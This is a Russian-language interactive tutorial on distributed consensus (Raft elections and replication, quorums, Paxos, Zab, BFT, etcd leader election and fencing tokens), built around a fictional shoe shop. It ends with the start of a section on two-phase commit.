Коммутаторы перезагружаются, провода выдёргивают, сети «моргают» — это обычная жизнь, а не редкая авария. Настоящая беда в другом. Запасная копия приняла решение в одиночку. Она решила «главная умерла», хотя главная была жива — просто до неё не доходили сообщения.
Что такое консенсус
Серверы на практике договариваются о трёх видах вещей:
👑 Кто главный
Выбор лидера (leader election). Среди копий резерва главной может быть только одна — та, которую признало большинство.
📜 В каком порядке
Порядок операций. «Анна резервирует пару», «Глеб резервирует пару» — кто первый? Все копии должны применить операции в одном и том же порядке.
🔑 Чьё значение
Одно общее значение: кто держит блокировку, какая версия настроек действует, в каком узле живёт раздел данных.
Второй вид — самый важный. Если все копии договорились о порядке операций, остальное получается само. Это главный приём, на котором стоят все системы в этом разделе.
Где консенсус уже работает — вы им пользуетесь каждый день
Почти никто не пишет консенсус сам. Его берут готовым: внутри хранилища координации или внутри базы. Выберите систему — увидите, о чём в ней договариваются узлы и на каком алгоритме.
Что решила Марина
В понедельник аналитик Олег записал требование: «В любой момент главной может быть не более одной копии сервиса резервов. Подтверждённый резерв не теряется при отказе любого одного сервера». Архитектор Марина прочитала и сказала: «Это задача консенсуса. С двумя копиями её не решить никак — нужна третья, которая рассудит. Писать консенсус сами не будем: поставим кластер etcd, а главную копию будем выбирать через него».
Дальше в разделе живёт этот кластер: пять узлов A, B, C, D, E на алгоритме Raft. В нём хранится, кто сейчас главный в сервисе резервов, и настройки магазина — например, текущая скидка. Сначала разберёмся, почему договориться так трудно.
глава 2 · почему трудно мёртвый или медленный — изнутри не отличить
Договориться за одним столом легко: все слышат всех, и все видят, кто вышел из комнаты. Серверы договариваются через сеть. У сети и серверов есть неприятные привычки. Каждую из них консенсус обязан пережить.
📭 Сообщение потерялось
Пакет ушёл и не пришёл. Отправитель об этом не узнает — узнает только, что ответа нет.
🐢 Сообщение опоздало
Пришло через 5 секунд, когда его уже не ждали. Или пришло дважды. Или два сообщения пришли в обратном порядке.
💥 Сервер упал
Выключился и молчит. Потом его, может быть, включат — с тем, что успело записаться на диск.
😴 Сервер «завис»
Пауза сборки мусора на 10 секунд, перегруженный диск, виртуальную машину переносят на другой хост. Потом он «просыпается» и продолжает как ни в чём не бывало — уверенный, что прошла доля секунды.
✂ Сеть разрезана
Серверы живы, но группа слева не слышит группу справа. Каждая группа думает, что умерла другая.
⏱ Часы врут
Часы на серверах идут чуть по-разному и иногда прыгают. «Сейчас 21:05:03» на двух машинах — разные моменты. Подробнее — в разделе «Время и порядок».
Таймаут: где провести черту между «медленный» и «мёртвый»
Раз отличить нельзя, остаётся одно — выбрать таймаут: сколько тишины считать смертью. Любой выбор чем-то платит. Короткий таймаут — быстро замечаем настоящее падение, но часто принимаем паузу за смерть и устраиваем лишние выборы. Длинный — лишних выборов нет, но при настоящем падении система долго стоит без главного. Подберите сами.
Задача двух генералов: почему нельзя «договориться наверняка»
Старая задача, её разбирают на первых лекциях по распределённым системам. Она показывает: по ненадёжной сети невозможно получить полную уверенность, что другая сторона знает то же, что и вы.
Теорема FLP: цена честности
глава 3 · кворум большинство: почему 3 или 5 узлов, а не 2 и не 4
В пятницу у Бориса было две копии, и каждая решала в одиночку. Консенсус запрещает решать в одиночку. Любое решение принимается, только если его поддержало большинство.
Калькулятор: сколько узлов может упасть
Чтобы пережить отказ f узлов, нужно 2f + 1 узлов: тогда даже без f узлов остаётся f + 1 — большинство. Двигайте ползунки. Особенно посмотрите на чётные числа.
| Узлов | Кворум | Переживёт отказ | Вердикт |
|---|---|---|---|
| 1 | 1 | 0 узлов | Консенсуса нет — просто один сервер |
| 2 | 2 | 0 узлов | Хуже одного: падение любого из двух останавливает запись, а сломаться может вдвое больше машин |
| 3 | 2 | 1 узел | Минимальный разумный кластер |
| 4 | 3 | 1 узел | Терпит столько же, сколько 3, но дороже и медленнее. При разрезе 2 | 2 не работает ни одна половина |
| 5 | 3 | 2 узла | Золотой стандарт: можно обслуживать один узел и пережить отказ второго |
| 6 | 4 | 2 узла | Как 5, только дороже |
| 7 | 4 | 3 узла | Редко: каждая запись ждёт трёх ответов из шести. etcd называет 7 разумным пределом |
Проверьте сами: любые два большинства пересекаются
Соберите два большинства из одних и тех же узлов: нажимайте узлы в первой и во второй строке. Попробуйте добиться, чтобы оба были большинствами и при этом не имели общего узла.
глава 4 · raft за одну картинку роли, термы и журнал
Главная идея Raft — сильный лидер. В каждый момент (если всё хорошо) главный один. Все записи идут только через него. Он раскладывает их по своему журналу и раздаёт остальным. Остальные ничего не решают сами: только соглашаются или отказываются. Если лидер пропал — выбирают нового.
Три роли
🙂 Фолловер (follower)
Последователь. Обычное состояние узла. Ничего не отправляет сам: отвечает лидеру и кандидатам. Держит таймер выборов: если долго не слышит лидера — выдвигается сам.
Как жилец, который ходит на собрания и голосует.
🙋 Кандидат (candidate)
Узел, который выдвинулся в лидеры. Увеличил номер терма, проголосовал за себя и просит голоса у остальных. Состояние короткое: через миг он либо лидер, либо снова фолловер, либо начинает выборы заново.
Как жилец, который сказал: «Председателя давно не видно. Выдвигаюсь, голосуйте за меня».
👑 Лидер (leader)
Принимает все записи от клиентов. Раздаёт журнал остальным и решает, какие записи подтверждены. Регулярно шлёт сердцебиения: «я жив, выборы не нужны».
Как председатель, который ведёт протокол и рассылает его всем жильцам.
Терм — номер созыва
Правило 1. Увидел терм больше своего
Обнови свой терм до этого числа и стань фолловером. Даже если ты был лидером — твоё время прошло.
Правило 2. Пришло сообщение со старым термом
Отвергни его. В ответе сообщи свой терм — пусть отправитель узнает, что он отстал.
Журнал, коммит и автомат состояний
Что каждый узел хранит
| Что | Где | Зачем |
|---|---|---|
currentTerm — текущий терм | на диске | После перезапуска узел не должен «забыть» новый созыв и вернуться в старый |
votedFor — за кого голосовал в этом терме | на диске | Чтобы после перезапуска не проголосовать в том же терме второй раз за другого |
log[] — журнал | на диске | Записи, которые узел подтвердил лидеру, не должны пропасть при отключении питания |
commitIndex — номер последней закоммиченной записи | в памяти | После перезапуска узел узнает его заново от лидера |
lastApplied — сколько записей применено к автомату | в памяти | Чтобы применять каждую запись ровно один раз и по порядку |
nextIndex[], matchIndex[] | в памяти лидера | Для каждого фолловера: какую запись слать ему следующей и до какой он точно совпадает с лидером. Глава 7 |
fsync) до того, как ответит на сообщение. Иначе после отключения питания он может «забыть», что уже проголосовал или подтвердил запись. Тогда все гарантии рассыпаются.Как узел переходит из роли в роль
Нажимайте на переходы. Стрелка на схеме подсветится, а ниже появится объяснение.
Всего три вида сообщений
RequestVote
«Проголосуй за меня». Шлёт кандидат во время выборов. Ответ: «да» или «нет» плюс свой терм. Глава 6.
AppendEntries
«Допиши в журнал эти записи». Шлёт лидер. Без записей это сердцебиение (heartbeat): «я жив». Ответ: «успех» или «не совпало». Глава 7.
InstallSnapshot
«Вот снимок всего состояния». Шлёт лидер сильно отставшему узлу, когда нужных записей журнала уже нет. Глава 9.
глава 5 · живой кластер пять узлов на Raft: запускайте, выключайте, режьте сеть
Это модель кластера Марины: пять узлов, настоящие правила Raft. Узлы стоят по кругу. Сообщения летят между ними. Справа — журнал каждого узла и лента событий с объяснением на человеческом языке. Нажмите «▶ Запустить» и дождитесь первых выборов. Потом записывайте значения, выключайте узлы кликом и режьте сеть.
Попробуйте — каждый опыт объясняется в ленте событий
глава 6 · выборы как пять узлов выбирают одного лидера
На живом кластере выборы пролетают за секунду. Разберём их медленно: кто, когда и почему решает выдвинуться; что написано в просьбе о голосе; по каким правилам узел голосует; что будет, если голоса разделились.
Шаг за шагом: что делает узел, когда таймер кончился
votedFor = себя.Голос за себя — это первый из трёх нужных голосов (в кластере из пяти).Что летит по проводу: RequestVote
RequestVote {
"term": 3, // мой новый терм — номер созыва, в котором я выдвигаюсь
"candidateId": "C", // кто просит голос
"lastLogIndex": 5, // номер последней записи в моём журнале
"lastLogTerm": 2 // терм этой последней записи
}
ответ {
"term": 3, // терм отвечающего — чтобы отставший кандидат узнал о новом созыве
"voteGranted": true // да / нет
}
Два последних поля запроса — самое интересное. По ним голосующий решает, не отстал ли журнал кандидата. Зачем — ниже.
Правила голосования
| Последняя запись кандидата | Последняя запись голосующего | Голос | Почему |
|---|---|---|---|
| терм 3, №5 | терм 2, №9 | да | Терм последней записи 3 больше 2. Длина неважна: девять записей голосующего включают устаревший «хвост» старого лидера |
| терм 3, №5 | терм 3, №7 | нет | Термы равны, у голосующего журнал длиннее — у кандидата может не быть записей №6–№7 |
| терм 3, №7 | терм 3, №7 | да | Одинаковые — «не старее» выполнено |
| терм 1, №2 | терм 3, №5 | нет | Кандидат долго был выключен и отстал |
Проверьте себя: даст ли узел голос?
Решено 0 из 0.
Проигрыватель: выборы от начала до конца
Три сценария. «Обычные выборы» — лидер упал, остальные выбирают нового. «Разделённые голоса» — два кандидата выдвинулись почти одновременно, и никто не набрал большинства. «Отставший кандидат» — выдвинулся узел со старым журналом, и ему отказали. Дуга вокруг узла — оставшееся время его таймера.
То же самое — секвенсом
Время идёт сверху вниз. Жмите «Дальше →» или прямо на стрелки.
А если на каком-то шаге всё сломается?
время рассылки ≪ таймаут выборов ≪ среднее время между отказами. Рассылка — сколько идёт сообщение туда-обратно с записью на диск: доли миллисекунды — десятки миллисекунд. Таймаут — в десятки раз больше, чтобы обычные задержки не вызывали выборов. Отказы — раз в месяцы. В etcd по умолчанию сердцебиение 100 мс и таймаут 1000 мс. В кластере между регионами оба числа увеличивают.глава 7 · репликация как одна запись становится подтверждённой
Лидер выбран. Олег в админке меняет скидку на 15 %. Проследим эту запись от кнопки до ответа «готово». По пути встретятся главные механизмы Raft: проверка согласованности, откат nextIndex и правило коммита.
Что летит по проводу: AppendEntries
AppendEntries {
"term": 3, // терм лидера — «я лидер 3-го созыва»
"leaderId": "C", // кто лидер — чтобы фолловер перенаправлял клиентов
"prevLogIndex": 3, // номер записи прямо ПЕРЕД новыми
"prevLogTerm": 3, // и её терм — «пароль совпадения»
"entries": [ {"index":4, "term":3, "cmd":"скидка=15"} ], // новые записи; пусто — сердцебиение
"leaderCommit": 3 // до какой записи у лидера всё закоммичено
}
ответ {
"term": 3, // терм фолловера — если он больше, лидер узнает, что устарел
"success": true // пароль совпал и записи дописаны
}
Проверка согласованности: пароль из номера и терма
Два счётчика лидера на каждого фолловера
nextIndex — что слать следующим
Сразу после выборов лидер оптимистично ставит всем «номер моей последней записи + 1» — будто у всех всё как у него. Получил отказ — уменьшает на единицу и пробует снова. Так он «отступает» назад по журналу фолловера, пока не найдёт общую точку.
matchIndex — до куда точно совпадает
До какой записи журнал фолловера гарантированно такой же, как у лидера. Растёт после каждого «успеха». По этим числам лидер и понимает, что запись есть у большинства.
Правило коммита
Проигрыватель: репликация по шагам
«Одна запись» — путь команды от клиента до ответа. «Отставший догоняет» — узел был выключен, лидер ищет с ним общую точку. «Старый лидер в меньшинстве» — сеть разрезана, два узла считают себя лидерами, но подтверждать записи может только один.
Запись клиента — секвенсом
Если лидер упал посреди записи
| Когда упал | Что с записью | Что видит клиент |
|---|---|---|
| Дописал к себе, но никому не отправил | Пропадёт: новый лидер её не знает и затрёт этот номер своей записью | Таймаут. Можно повторить |
| Отправил, запись у меньшинства | Может выжить, может пропасть — зависит от того, кто станет лидером. Если выживет, её закоммитит новый лидер вместе со своей записью | Таймаут. Неизвестно, применилась ли команда |
| Запись у большинства, лидер закоммитил, но не ответил | Выживет обязательно: новый лидер будет из тех, у кого она есть | Таймаут, хотя команда применена |
| Ответил «готово» | Выживет обязательно | Успех |
глава 8 · безопасность почему в Raft не бывает двух лидеров, подтверждающих записи
Вспомним пятницу: две копии обе продали последнюю пару. Может ли так случиться в Raft? Может ли в какой-то момент два узла считать себя лидерами? Да, может. Может ли два лидера оба подтвердить записи? Нет, никогда. Разберём, почему.
Пять обещаний Raft
Авторы Raft доказали, что алгоритм всегда выполняет пять свойств. Нажмите на пункт, чтобы раскрыть.
Почему «расщеплённый мозг» не случится
1. В одном терме — один лидер
Лидеру терма нужны голоса большинства. Каждый узел в терме голосует один раз. Два большинства пересекаются, общий узел не может проголосовать за двоих. Значит, двух лидеров одного терма не бывает.
2. Старый лидер ничего не подтвердит
Лидер старого терма может быть жив и не знать, что его сменили. Но чтобы подтвердить запись, ему нужны «успехи» от большинства. В большинстве обязательно есть узел, который уже знает новый терм. Этот узел ответит отказом со своим термом, и старый лидер тут же станет фолловером.
Самый тонкий сценарий: почему коммитят только записи своего терма
В главе 7 было правило: лидер двигает commitIndex, только если запись из его текущего терма. Вот сценарий, ради которого это правило придумано. Он есть в статье Raft, на рисунке 8. Журналы показаны таблицей: строка — узел, столбец — номер записи, число — терм записи.
глава 9 · жизнь кластера смена состава, снимки и компакция журнала
Кластер живёт годами. Диски умирают, серверы переезжают в другую зону, журнал растёт. Две штатные задачи: поменять состав кластера и не дать журналу съесть весь диск.
Смена состава: почему нельзя просто поменять список узлов
Трудность в том, что узлы узнают о новом составе не одновременно. Какое-то время часть кластера считает большинство по старому списку, часть — по новому. Выберите способ смены и посмотрите, что может произойти.
Как заменяют умерший узел etcd — по шагам
etcdctl member remove <id>. Состав стал 2 из 2 — кворум 2. Звучит страшно, но так надёжнее, чем сначала добавить: при составе 4 кворум стал бы 3 из 4, а живых только 3.etcdctl member add node-4 --learner --peer-urls=… и запустить его. Он скачивает снимок и догоняет журнал.etcdctl member promote <id>. etcd не даст повысить ученика, пока тот не догнал лидера.Снимки и компакция журнала
etcdctl compact или автоматически по настройке. После неё нужна дефрагментация, чтобы вернуть место на диске. Про обе должен знать тот, кто эксплуатирует etcd.глава 10 · чтение и «вечные выборы» ReadIndex, аренда лидера, Pre-Vote и CheckQuorum
Кажется, с чтением всё просто: спроси лидера — он знает всё. Но лидер может быть уже не лидером и не знать об этом. Разберём, как читать правильно и сколько это стоит.
Ловушка: старый лидер отвечает на чтение сам
Сеть разрезана. A — старый лидер в меньшинстве, он об этом не знает. В большинстве уже новый лидер D, и скидку там поменяли. Анна спрашивает у A — и получает старое значение.
ReadIndex: проверить, что ты всё ещё лидер
Аренда лидера: быстрее, но с доверием к часам
Способы чтения рядом
Нажмите на строку — появится пояснение.
«Вечные выборы»: изолированный узел срывает работу
Представим: узел B потерял связь с остальными на минуту. Он не слышит лидера, его таймер кончается — B выдвигается в терме 5. Голосов нет, таймер кончается снова — терм 6, 7… 40. Сеть вернулась. B шлёт RequestVote с термом 40. Лидер C видит терм больше своего и по правилу 1 становится фолловером. Кластер, который прекрасно работал, остаётся без лидера и проводит лишние выборы. Сам B победить не может — его журнал отстал.
Обе защиты описаны в диссертации автора Raft и включаются в библиотеке etcd настройками PreVote и CheckQuorum. Проверьте разницу на живом кластере.
глава 11 · родственники Paxos, Multi-Paxos и Zab: чем они похожи на Raft и чем отличаются
Raft — не первый алгоритм консенсуса. До него десятилетиями жил Paxos, а ZooKeeper использует свой Zab. На собеседованиях и в документации баз эти имена встречаются постоянно. Разберём их на пальцах.
Paxos
В базовом Paxos (его называют Basic Paxos или Single-Decree) узлы договариваются об одном значении. Роли три:
Предлагающий (proposer)
Хочет, чтобы приняли его значение. Предлагающих может быть несколько одновременно — лидера в базовом Paxos нет.
Принимающий (acceptor)
Голосует. Помнит два числа: самый большой номер, которому дал обещание, и последнее принятое предложение.
Узнающий (learner)
Узнаёт итог: значение выбрано, когда его приняло большинство принимающих.
Дуэль предлагающих: почему Paxos может «зациклиться»
Если два предлагающих всё время перебивают друг друга номерами, ни одно предложение не проходит. Безопасность не нарушается, но решения нет. Это та самая «живучесть» из теоремы FLP. Лечится так же, как в Raft: случайные паузы и выбор одного главного предлагающего.
Multi-Paxos и Zab
Multi-Paxos
Базовый Paxos решает одно значение, а системе нужен журнал — тысячи значений подряд. Multi-Paxos запускает Paxos на каждую ячейку журнала и выбирает постоянного лидера. Лидер один раз проходит фазу 1 и дальше шлёт только Accept — как AppendEntries в Raft. Беда в том, что в статье Лэмпорта многие детали Multi-Paxos не описаны: как выбирать лидера, как менять состав, как делать снимки. Инженеры Google в статье «Paxos Made Live» (2007) рассказали, сколько пришлось додумать самим, чтобы построить Chubby.
Zab (ZooKeeper Atomic Broadcast)
Протокол ZooKeeper. Очень похож на Raft, хотя появился раньше. Вместо терма — эпоха (epoch). Каждая транзакция получает номер zxid: эпоха плюс счётчик внутри неё. На выборах побеждает узел с самой свежей историей. Затем идёт фаза синхронизации: лидер доводит фолловеров до своего состояния. Дальше — рассылка: предложение, подтверждения от большинства, отдельное сообщение «коммит». Чтения ZooKeeper обслуживает с любого узла, поэтому они могут отставать. Для свежего чтения перед ним вызывают sync().
Сравнение в одной таблице
Нажмите на строку — появится пояснение.
глава 12 · когда узлы врут византийские отказы и BFT
Всё, что мы разбирали, опирается на одно негласное допущение: узлы честные. Они могут упасть, зависнуть, опоздать или потерять сообщение. Но если узел ответил «записал», значит, записал. А если сказал «мой терм 5», значит, так и есть.
Почему Raft не защищает от вранья
Голос дважды
Узел голосует в терме 7 и за B, и за D. У обоих по 3 голоса — два лидера в одном терме. Вся безопасность держалась на «один голос за терм».
Ложное «записал»
Узел отвечает «успех», не записав на диск. Лидер считает запись у большинства и коммитит её. Узел падает — и подтверждённая запись может пропасть.
Огромный терм
Узел с ошибкой шлёт терм 9 000 000 000. Все послушно обновляют терм и становятся фолловерами. Если он будет делать это постоянно, кластер не сможет работать.
Как устроены алгоритмы BFT
| Хотим пережить | Падения (Raft, Paxos) | Вранье (BFT) |
|---|---|---|
| 1 плохой узел | 3 узла, кворум 2 | 4 узла, кворум 3 |
| 2 плохих узла | 5 узлов, кворум 3 | 7 узлов, кворум 5 |
| 3 плохих узла | 7 узлов, кворум 4 | 10 узлов, кворум 7 |
PBFT (Practical Byzantine Fault Tolerance, Кастро и Лисков, 1999) — первый алгоритм BFT, пригодный для практики. На каждую операцию у него три фазы: pre-prepare (лидер предлагает порядок), prepare (узлы убеждаются, что всем предложено одно и то же), commit (фиксация). В фазах prepare и commit каждый шлёт каждому, поэтому сообщений примерно n². На 4–10 узлах это терпимо, на сотнях — нет. Более новые алгоритмы семейства HotStuff сокращают это число.
Где нужен BFT
Там, где участники не доверяют друг другу: блокчейны нескольких компаний или банков, публичные сети. Публичный Bitcoin использует другой подход — доказательство работы (proof of work): решение не абсолютное, а становится всё надёжнее с каждым новым блоком. Сети на CometBFT (бывший Tendermint) используют классический BFT с кворумом в две трети.
Где хватает Raft
Внутри одной компании, где все узлы — ваши. Там честность обеспечивают не алгоритмом, а инженерией: шифрование и взаимная проверка сертификатов между узлами (mTLS), контрольные суммы в журнале (у etcd они есть), надёжные диски, мониторинг и резервные копии. Показательно: Hyperledger Fabric много лет упорядочивал транзакции через Raft — участники доверяли узлам упорядочивания. Вариант с BFT (протокол SmartBFT) появился в нём только в версии 3.0, в 2024 году.
Разложите: переживёт ли это Raft?
Решено 0 из 0.
глава 13 · инструменты архитектора выбор лидера через etcd, блокировки и токен ограждения
Марине не нужно писать Raft. Ей нужно, чтобы у «Ботинка» ночная выгрузка заказов в службу доставки шла ровно в одном экземпляре, а главная копия резервов была одна. Для этого готовый кластер консенсуса используют как «нотариуса». Три главных приёма: выбор лидера, распределённая блокировка и хранение конфигурации.
1. Выбор лидера для своих сервисов
Схема выбора лидера: каждый экземпляр сервиса пытается создать ключ /election/export со своей арендой — но только если ключа ещё нет. Это одна атомарная транзакция etcd. Кто успел — тот лидер: он продлевает аренду и работает. Остальные подписываются на ключ (watch) и ждут, пока тот исчезнет.
# Готовые команды etcdctl — для проб руками etcdctl lease grant 10 # аренда на 10 с → lease 694d8a1f2c3b5e01 etcdctl put /svc/export/leader worker-1 --lease=694d8a1f2c3b5e01 etcdctl lease keep-alive 694d8a1f2c3b5e01 # продлевать, пока живы etcdctl elect export-job worker-1 # выборы «из коробки»: ждёт, пока станет лидером etcdctl lock /locks/export ./run-export.sh # выполнить команду под блокировкой
В Kubernetes то же самое делают через объект Lease. Так выбирают лидера kube-controller-manager и kube-scheduler, так же может делать и ваш сервис — через библиотеку client-go. Сам объект хранится в etcd кластера.
apiVersion: coordination.k8s.io/v1 kind: Lease metadata: name: export-job namespace: shop spec: holderIdentity: export-7f9c-2 # кто сейчас лидер leaseDurationSeconds: 15 # сколько длится аренда без продления acquireTime: "2026-09-30T02:00:00.000000Z" renewTime: "2026-09-30T02:03:10.000000Z" # последнее продление leaseTransitions: 4 # сколько раз менялся владелец
2. Распределённая блокировка и токен ограждения
Классический пример из статьи Мартина Клеппмана «Как делать распределённые блокировки» (2016). Два экземпляра ночной выгрузки «Ботинка» — Выгрузка-1 и Выгрузка-2 — пишут накладную для службы доставки. Писать должен один. Посмотрите, что сделает пауза сборки мусора, — без токена и с токеном.
3. Конфигурация и обнаружение сервисов
Общая конфигурация
Настройки, которые должны быть одинаковыми у всех: скидка, флаги функций, лимиты. Сервисы подписываются на ключи (watch) и узнают об изменении за доли секунды. Консенсус гарантирует: все увидят изменения в одном и том же порядке.
Обнаружение сервисов (service discovery)
Каждый экземпляр регистрирует свой адрес в ключе с арендой. Умер — аренда истекла — адрес исчез из списка. Так работают Consul и сама Kubernetes (адреса подов попадают в etcd через API-сервер).
глава 14 · цена и размещение сколько стоит каждая запись и куда ставить узлы
Консенсус не бесплатен. Каждая запись ждёт большинство. Поэтому задержка записи и отказоустойчивость зависят от того, где стоят узлы.
Из чего складывается время одной записи
| Где узлы | Сеть туда-обратно, порядок величины | Что это значит для записи |
|---|---|---|
| Одна стойка / один ЦОД | 0,1–0,5 мс | Быстро, но стойка или ЦОД — единая точка отказа |
| Зоны доступности одного региона | обычно 1–2 мс | Стандартный выбор: пережили потерю ЦОД, запись всё ещё быстрая |
| Регионы одной страны | десятки мс | Годится для редких записей (конфигурация), тяжело для горячих данных |
| Разные континенты | 70–150 мс и больше | Каждая запись ≥ этого времени. Нужны особые приёмы: лидер ближе к клиентам, данные по регионам |
Калькулятор размещения по зонам
Выберите, сколько узлов и как они разложены по зонам доступности (отдельным ЦОД с независимым питанием и сетью). Калькулятор покажет, переживёт ли кластер потерю целой зоны и сколько будет стоить каждая запись.
| Задача | Разумное размещение |
|---|---|
| Кластер координации (etcd под Kubernetes, Patroni) в одном регионе | 3 узла в 3 зонах. Нужна возможность обслуживать узел без потери запаса — 5 узлов в 3 зонах (2 + 2 + 1) |
| Всего две зоны (два ЦОД) | Честно пережить потерю любой из двух нельзя. Нужен третий «арбитр» в третьем месте — хоть маленький узел в облаке. Без него потеря «большой» зоны останавливает запись |
| Три региона, данные должны пережить потерю региона | 5 узлов: 2 + 2 + 1. Лидер — в регионе с основными клиентами, большинство собирается с ближайшим соседним регионом |
| Очень большой объём данных | Не один большой кластер, а много групп Raft по 3–5 копий (Multi-Raft), как в CockroachDB, TiKV и YugabyteDB. У каждой группы свой лидер, нагрузка распределяется |
etcdctl move-leader <id> передаёт лидерство без выборов по таймауту. В распределённых SQL-базах для этого есть настройки предпочтительного размещения лидеров.глава 15 · в требованиях как это звучит у аналитика и какие ошибки делают чаще всего
Аналитик не выбирает алгоритм консенсуса. Но именно он пишет требования, из которых следует, нужен ли консенсус, сколько узлов и в каких зонах. Вот как это звучит, когда написано хорошо.
| Формулировка требования | Что из неё следует технически |
|---|---|
| «Подтверждённый резерв не теряется при отказе любого одного сервера (RPO = 0 при отказе одного узла)» | Синхронная репликация на большинство: минимум 3 узла, ответ клиенту после записи у 2 из 3 |
| «Система сохраняет приём заказов и подтверждённые данные при потере одной зоны доступности» | Узлы минимум в 3 зонах: 3 (1 + 1 + 1) или 5 (2 + 2 + 1). Две зоны не подходят |
| «Автоматическое переключение при отказе главного узла — не дольше 10 с (RTO ≤ 10 с), без участия человека» | Выбор лидера через консенсус; таймаут выборов и проверки здоровья подобраны под это время |
| «В любой момент выгрузку в службу доставки выполняет не более одного экземпляра; хранилище отвергает запись от экземпляра, потерявшего право» | Выбор лидера через аренду плюс токен ограждения на стороне хранилища |
| «Остаток при оформлении заказа читается актуальным (с учётом всех подтверждённых резервов); в каталоге допустимо отставание до 2 с» | Два вида чтения: линеаризуемое (ReadIndex у лидера) для оформления и дешёвое локальное для каталога |
| «Время подтверждения записи p99 ≤ 20 мс при размещении в трёх зонах одного региона» | Проверяемо: сеть между зонами 1–2 мс плюс диск. Если зоны в разных регионах — требование невыполнимо, это надо сказать сразу |
| «При потере связи между площадками меньшая площадка переходит в режим „только чтение“ и явно сообщает об этом пользователям» | Честно описанное поведение при разрезе сети: меньшинство не принимает запись |
Вопросы, которые аналитик задаёт команде
- Что будет с записью, пока выбирается новый лидер? Сколько это длится? Есть ли у клиентов повторы?
- Какие чтения обязаны быть свежими, а какие могут отставать? Откуда читаем — с лидера или с любого узла?
- Сколько узлов, в каких зонах? Что будет при потере одной зоны? А двух?
- Если клиент получил таймаут — применилась команда или нет? Как повтор не превратится в двойное списание?
- Если используется блокировка или выбор лидера — что сделает экземпляр, потерявший аренду? Проверяет ли хранилище токен?
- Кто и как заменяет вышедший из строя узел кластера? Есть ли инструкция и мониторинг?
Частые ошибки
Тренажёр: так можно или это ошибка?
Решено 0 из 0.
глава 16 · проверь себя двенадцать вопросов по консенсусу и Raft
Решено 0 из 0.
Когда одна покупка меняет три базы, «всё или ничего» перестаёт быть бесплатным. Анна оплачивает кроссовки. Деньги списываются в «Кошельке», пара резервируется на «Складе», заказ создаётся в «Заказах» — и у каждого своя база. В этом разделе мы разберём честный способ сделать это атомарно — двухфазный коммит, сломаем его во всех местах, где он ломается, и посмотрим, чем его заменяют, когда он слишком дорог.
зачем это зачем разбираться в распределённых транзакциях
карта раздела одна оплата, четырнадцать глав
Читайте по порядку: главы 2–6 — это один протокол, разобранный до винтика, дальше — его родственники и замены. Кнопка переносит к главе.
глава 1 · завязка одна кнопка «Оплатить» — три базы данных
Пятница, 19:40. Анна выбрала кроссовки «Бег-42», размер 38, за 4 990 ₽. На внутреннем счёте в «Ботинке» у неё 12 000 ₽ — возврат за прошлый заказ. Она жмёт «Оплатить с баланса». Для Анны это одно действие. Внутри магазина их три, и выполняют их три разных сервиса:
💳 Кошелёк
Списывает 4 990 ₽ со счёта Анны: было 12 000, станет 7 010. Своя база, своя команда.
📦 Склад
Резервирует пару «Бег-42», размер 38: свободных было 3, станет 2. Своя база.
🧾 Заказы
Создаёт заказ №1042 со статусом «оплачен». Своя база.
Пока «Ботинок» был монолитом с одной базой, всё это делалось в одной транзакции: либо все три изменения, либо ни одного (это разобрано в разделе , глава про ACID). Потом магазин разрезали на сервисы, и у каждого появилась своя база. Общей транзакции не стало.
Попробуйте «просто по очереди»
Самое очевидное решение — вызвать три сервиса подряд. Каждый сделает свою часть в своей базе и скажет «готово». Выберите, где случится сбой, и нажмите «Оплатить».
Почему не спасает обычная транзакция
Разработчик Борис предлагает: «Давайте просто повесим @Transactional на метод оплаты». Посмотрим, что это даст.
@Transactional // транзакция ОДНОЙ базы — базы «Заказов»
public void pay(Order o) {
walletClient.debit(o.user(), 4990); // HTTP-вызов в «Кошелёк»: там своя база,
// своя транзакция, и она УЖЕ зафиксирована
stockClient.reserve(o.sku(), 1); // HTTP-вызов в «Склад»: тоже уже COMMIT
orders.save(o); // вот это — внутри нашей транзакции
} // упали здесь → откатится только save()
Транзакция — это обещание одной базы. Её журнал, её блокировки, её COMMIT. База «Кошелька» ничего не знает о транзакции «Заказов»: когда HTTP-вызов вернул «ОК», списание там уже окончательное. Даже если подключить к одному процессу две базы напрямую, у каждой будет свой COMMIT: сначала зафиксируем первую, потом упадём перед второй — и получим ту же половинку.
глава 2 · идея сначала спросить всех, потом командовать
Идея двухфазного коммита очень старая — её описали в 1970-х исследователи баз данных (среди них Джим Грей). Она проста до обидного: прежде чем кто-то что-то зафиксирует, нужно убедиться, что зафиксировать смогут все. А убедившись — дать команду, которую уже никто не отменит.
Кто есть кто в истории Анны
| Роль в 2PC | Кто в «Ботинке» | На свадьбе |
|---|---|---|
| Координатор | сервис оформления заказа (или менеджер транзакций внутри него) | регистратор |
| Участники | базы «Кошелька», «Склада» и «Заказов» | жених и невеста |
| PREPARE — «приготовься» | «спишите 4 990 ₽ и гарантируйте, что сможете это зафиксировать» | «Согласны?» |
| Голос ДА / НЕТ | «Подготовлено, обещаю» / «Не могу: денег не хватает» | «Да» / «Нет» |
| Журнал координатора | файл на диске координатора, куда пишется решение | книга записи актов |
| COMMIT / ABORT | «фиксируйте» / «отменяйте» | «Объявляю вас мужем и женой» / «Свадьба отменяется» |
| ACK — подтверждение | «зафиксировал, можно забыть» | подписи в книге |
Два правила, на которых держится всё
Жизнь участника и координатора — как смена состояний
глава 3 · фаза 1 подготовка: что участник делает, когда слышит PREPARE
Разберём первую фазу на примере Склада. Координатор прислал: «Транзакция T1. Зарезервируй пару “Бег-42”, размер 38, и приготовься». Что происходит внутри базы Склада — по шагам:
UPDATE stock SET free = free − 1, reserved = reserved + 1 WHERE sku = 'Бег-42/38' AND free > 0. Изменения пока лежат «черновиком» внутри транзакции — снаружи их никто не видит.Зачем: без этого нечего обещать. Если товара нет, база узнает об этом здесь.fsync: принудительный сброс на физический диск, а не в кеш операционной системы.Зачем: если через секунду выключат свет, после перезапуска база должна найти в журнале «T1 подготовлена», восстановить черновик и снова поставить замки. Обещание обязано пережить перезагрузку.UPDATE заранее, а команда PREPARE приходит в момент, когда приложение говорит «коммит». Тогда PREPARE — это шаги 3–5: «проверь, запиши на диск, ответь». На пульте в главе 5 мы для наглядности склеили работу и подготовку в одно действие.Когда участник говорит «НЕТ»
Бизнес-причина
Последнюю пару только что купили. На счёте не хватает денег. Нарушено ограничение схемы. Участник откатывает свою часть и голосует «НЕТ».
Техническая причина
Конфликт с параллельной транзакцией (взаимная блокировка, ошибка сериализации), кончилось место на диске, база перезапускалась и потеряла черновик. Тоже «НЕТ».
Участник сам не дождался
